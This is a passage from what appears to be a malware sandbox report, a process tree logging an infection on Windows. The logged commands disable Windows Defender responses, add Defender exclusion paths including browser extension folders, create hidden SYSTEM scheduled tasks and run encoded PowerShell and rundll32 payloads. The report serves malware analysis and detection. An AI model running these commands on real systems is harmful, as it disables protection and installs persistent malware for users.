                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                                                3⤵
                                                                                                                  PID:2368
                                                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QtKEgKYoTGTqC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\QtKEgKYoTGTqC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZEkGlaTFWGUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\ZEkGlaTFWGUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\dlfHiRefefjU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\dlfHiRefefjU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\hsUwQAlMU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\hsUwQAlMU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\nivjmgppGaMJQQVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\nivjmgppGaMJQQVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\QqEAMUespgTHJnVz\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\QqEAMUespgTHJnVz\" /t REG_DWORD /d 0 /reg:64;"
                                                                                                                2⤵
                                                                                                                • Drops file in System32 directory
                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                PID:1756
                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                  "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR" /t REG_DWORD /d 0 /reg:32
                                                                                                                  3⤵
                                                                                                                    PID:5048
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR" /t REG_DWORD /d 0 /reg:32
                                                                                                                      4⤵
                                                                                                                        PID:4820
                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR" /t REG_DWORD /d 0 /reg:64
                                                                                                                      3⤵
                                                                                                                        PID:4480
                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QtKEgKYoTGTqC" /t REG_DWORD /d 0 /reg:32
                                                                                                                        3⤵
                                                                                                                          PID:4672
                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\QtKEgKYoTGTqC" /t REG_DWORD /d 0 /reg:64
                                                                                                                          3⤵
                                                                                                                            PID:1836
                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZEkGlaTFWGUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                            3⤵
                                                                                                                              PID:4432
                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZEkGlaTFWGUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                              3⤵
                                                                                                                                PID:3504
                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dlfHiRefefjU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                3⤵
                                                                                                                                  PID:3992
                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\dlfHiRefefjU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                                  3⤵
                                                                                                                                    PID:4392
                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hsUwQAlMU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                    3⤵
                                                                                                                                      PID:3328
                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\hsUwQAlMU" /t REG_DWORD /d 0 /reg:64
                                                                                                                                      3⤵
                                                                                                                                        PID:400
                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\nivjmgppGaMJQQVB /t REG_DWORD /d 0 /reg:32
                                                                                                                                        3⤵
                                                                                                                                          PID:3792
                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\nivjmgppGaMJQQVB /t REG_DWORD /d 0 /reg:64
                                                                                                                                          3⤵
                                                                                                                                            PID:3232
                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                            3⤵
                                                                                                                                              PID:4468
                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                              3⤵
                                                                                                                                                PID:3028
                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                3⤵
                                                                                                                                                  PID:1348
                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                  3⤵
                                                                                                                                                    PID:3720
                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy /t REG_DWORD /d 0 /reg:32
                                                                                                                                                    3⤵
                                                                                                                                                      PID:4160
                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\DQsmlqqwNqJuTewVy /t REG_DWORD /d 0 /reg:64
                                                                                                                                                      3⤵
                                                                                                                                                        PID:3680
                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\QqEAMUespgTHJnVz /t REG_DWORD /d 0 /reg:32
                                                                                                                                                        3⤵
                                                                                                                                                          PID:3956
                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\QqEAMUespgTHJnVz /t REG_DWORD /d 0 /reg:64
                                                                                                                                                          3⤵
                                                                                                                                                            PID:1948
                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                          schtasks /CREATE /TN "gNVtDPdTD" /SC once /ST 05:52:56 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                          2⤵
                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                          PID:4512
                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                          schtasks /run /I /tn "gNVtDPdTD"
                                                                                                                                                          2⤵
                                                                                                                                                            PID:3140
                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                            schtasks /DELETE /F /TN "gNVtDPdTD"
                                                                                                                                                            2⤵
                                                                                                                                                              PID:848
                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                              schtasks /CREATE /TN "ZTNkTKukmvvbOMPkn" /SC once /ST 04:52:24 /RU "SYSTEM" /TR "\"C:\Windows\Temp\QqEAMUespgTHJnVz\WeEdkAGsJlpiURx\fbKZdlu.exe\" 0c /QptfdidPp 385134 /S" /V1 /F
                                                                                                                                                              2⤵
                                                                                                                                                              • Drops file in Windows directory
                                                                                                                                                              • Creates scheduled task(s)
                                                                                                                                                              PID:512
                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                              schtasks /run /I /tn "ZTNkTKukmvvbOMPkn"
                                                                                                                                                              2⤵
                                                                                                                                                                PID:4856
                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 2316 -s 608
                                                                                                                                                                2⤵
                                                                                                                                                                • Program crash
                                                                                                                                                                PID:4836
                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                              C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                              1⤵
                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                              PID:4056
                                                                                                                                                              • C:\Windows\system32\gpupdate.exe
                                                                                                                                                                "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:4100
                                                                                                                                                              • C:\Windows\system32\svchost.exe
                                                                                                                                                                C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                                                                                                                                                                1⤵
                                                                                                                                                                  PID:1876
                                                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                                                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                                                  1⤵
                                                                                                                                                                    PID:776
                                                                                                                                                                  • C:\Windows\system32\gpscript.exe
                                                                                                                                                                    gpscript.exe /RefreshSystemParam
                                                                                                                                                                    1⤵
                                                                                                                                                                      PID:448
                                                                                                                                                                    • C:\Windows\Temp\QqEAMUespgTHJnVz\WeEdkAGsJlpiURx\fbKZdlu.exe
                                                                                                                                                                      C:\Windows\Temp\QqEAMUespgTHJnVz\WeEdkAGsJlpiURx\fbKZdlu.exe 0c /QptfdidPp 385134 /S
                                                                                                                                                                      1⤵
                                                                                                                                                                      • Checks computer location settings
                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                      • Drops Chrome extension
                                                                                                                                                                      • Drops file in System32 directory
                                                                                                                                                                      • Drops file in Program Files directory
                                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                      PID:2064
                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                        2⤵
                                                                                                                                                                          PID:3232
                                                                                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                            forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:4060
                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                4⤵
                                                                                                                                                                                  PID:3968
                                                                                                                                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                    5⤵
                                                                                                                                                                                      PID:3184
                                                                                                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                  forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                                                                  3⤵
                                                                                                                                                                                    PID:4656
                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                      4⤵
                                                                                                                                                                                        PID:4992
                                                                                                                                                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                          5⤵
                                                                                                                                                                                            PID:5104
                                                                                                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                        forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                                                                        3⤵
                                                                                                                                                                                          PID:404
                                                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                            4⤵
                                                                                                                                                                                              PID:4372
                                                                                                                                                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                5⤵
                                                                                                                                                                                                  PID:4688
                                                                                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                              forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                                                                              3⤵
                                                                                                                                                                                                PID:1556
                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                    PID:4700
                                                                                                                                                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                        PID:2596
                                                                                                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                    forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:2740
                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                          PID:2612
                                                                                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                            powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                            • Drops file in System32 directory
                                                                                                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                            PID:3532
                                                                                                                                                                                                            • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                                                                                              "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                PID:2572
                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                        schtasks /DELETE /F /TN "btZaCbGShXZoJDfvCg"
                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                          PID:2112
                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                          "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                            PID:2068
                                                                                                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                              forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                PID:3284
                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                  /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                    PID:2344
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                      powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                      • Drops file in System32 directory
                                                                                                                                                                                                                      • Modifies data under HKEY_USERS
                                                                                                                                                                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                      PID:316
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                        6⤵
                                                                                                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                        PID:2928
                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\hsUwQAlMU\HoZgRq.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "ucrVpivlTlXwlAC" /V1 /F
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                • Drops file in Windows directory
                                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                                PID:3248
                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                schtasks /CREATE /TN "ucrVpivlTlXwlAC2" /F /xml "C:\Program Files (x86)\hsUwQAlMU\qSXCTjI.xml" /RU "SYSTEM"
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                • Creates scheduled task(s)
                                                                                                                                                                                                                PID:4040
                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                schtasks /END /TN "ucrVpivlTlXwlAC"
                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                  PID:3968
                                                                                                                                                                                                                • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                  schtasks /DELETE /F /TN "ucrVpivlTlXwlAC"
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                    PID:3956
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                    schtasks /CREATE /TN "gXuMbmSriUtfuo" /F /xml "C:\Program Files (x86)\dlfHiRefefjU2\ysHuMBj.xml" /RU "SYSTEM"
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                                                                    PID:4660
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                    schtasks /CREATE /TN "ZEKxHChbZmoqN2" /F /xml "C:\ProgramData\nivjmgppGaMJQQVB\fcNTonI.xml" /RU "SYSTEM"
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                                                                    PID:1556
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                    schtasks /CREATE /TN "GJlNcuNKEmfKGuMTK2" /F /xml "C:\Program Files (x86)\NuNDxVhSfKiQUmJwJAR\MWfEpao.xml" /RU "SYSTEM"
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                                                                    PID:2512
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                    schtasks /CREATE /TN "jVeWQSRcqyudsTDYlcg2" /F /xml "C:\Program Files (x86)\QtKEgKYoTGTqC\mQxtvQH.xml" /RU "SYSTEM"
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                                                                    PID:1536
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                    schtasks /CREATE /TN "BjyVbWVaXyfCTlHuI" /SC once /ST 00:22:36 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\QqEAMUespgTHJnVz\wuQMQWVE\WPXRnjv.dll\",#1 /WdidopiD 385134" /V1 /F
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                    • Drops file in Windows directory
                                                                                                                                                                                                                    • Creates scheduled task(s)
                                                                                                                                                                                                                    PID:2960
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                    schtasks /run /I /tn "BjyVbWVaXyfCTlHuI"
                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                      PID:1580
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                      schtasks /DELETE /F /TN "ZTNkTKukmvvbOMPkn"
                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                        PID:3716
                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 2064 -s 2288
                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                        • Program crash
                                                                                                                                                                                                                        PID:2292
